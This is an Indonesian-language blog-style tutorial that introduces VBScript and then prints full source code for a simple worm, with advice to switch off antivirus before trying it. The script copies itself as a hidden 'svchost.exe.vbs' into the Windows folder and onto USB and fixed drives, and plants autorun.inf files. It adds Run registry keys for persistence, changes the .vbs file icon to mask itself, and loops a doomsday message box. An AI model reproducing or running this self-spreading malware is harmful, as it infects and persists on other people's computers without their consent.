Tentang VB Script

VB Script atau Visual Basic Script sebenarnya hanyalah teks biasa yang berisi kode pemrograman dengan bahasa visual basic dan disimpan dengan format vbs. Untuk membuat vbscript cukup menggunakan teks editor sederhana seperti Notepad atau menggunakan yang lebih lengkap seperti Ultra Edit atau Notepad++. Berikut adalah contoh membuat vbscript sederhana.

1. Buka program Notepad dari Start > All Programs > Accessories > Notepad.
2. Tulis teks berikut ini
   Msgbox "Ini adalah contoh VB Script Sederhana"
3. Kemudian simpan file dengan Save as Type di ubah ke All files
4. Beri nama file tersebut dengan tambahan .vbs dibelakang. Contohnya ScriptSederhanan.vbs
5. Sekarang lihat tampilan ikon file di explorer, tidak lagi berupa teks. Coba klik 2 kali file tersebut, maka akan muncul kotak dialog bertuliskan Ini adalah contoh VB Script Sederhana.
6. Yang dibutuhkan bagi vbscript untuk menjadi virus hanyalah kode yang tepat sehingga mengikuti proses yang dijelaskan di atas.

Contoh Kode Virus Sederhana

Berikut adalah contoh kode virus menggunakan vbscript sederhana. Jika ingin mencoba sebaiknya Anti virus di matikan dan Install juga Deep Freeze, kemudian bekukan seluruh harddrive

*****

'El Magnifico MAN
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe svchost.exe.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\svchost.exe.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\svchost.exe.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\svchost.exe.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\svchost.exe.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\svchost.exe.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\svchost.exe.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost",winpath&"\svchost.exe.vbs"
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",""
rg.regwrite "HKCR\vbsfile\DefaultIcon\","shell32.dll,3"
if check <> 1 then
Wscript.sleep 100000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

do while year(now) >= 2008
WScript.sleep 20000

msgbox "Hai orang-orang, ingatlah kiamat akan datang" & vbcrlf & _
"Karena itu, sholat dan beribadahlah engkau" & vbcrlf & _
"Karena jika tidak, siksa neraka telah menunggu ," & vbcrlf & _
" KIAMAT SUDAH DEKAT!!!" & vbcrlf & vbcrlf & _
" Suara dari orang risau dengan keadaan dunia"

loop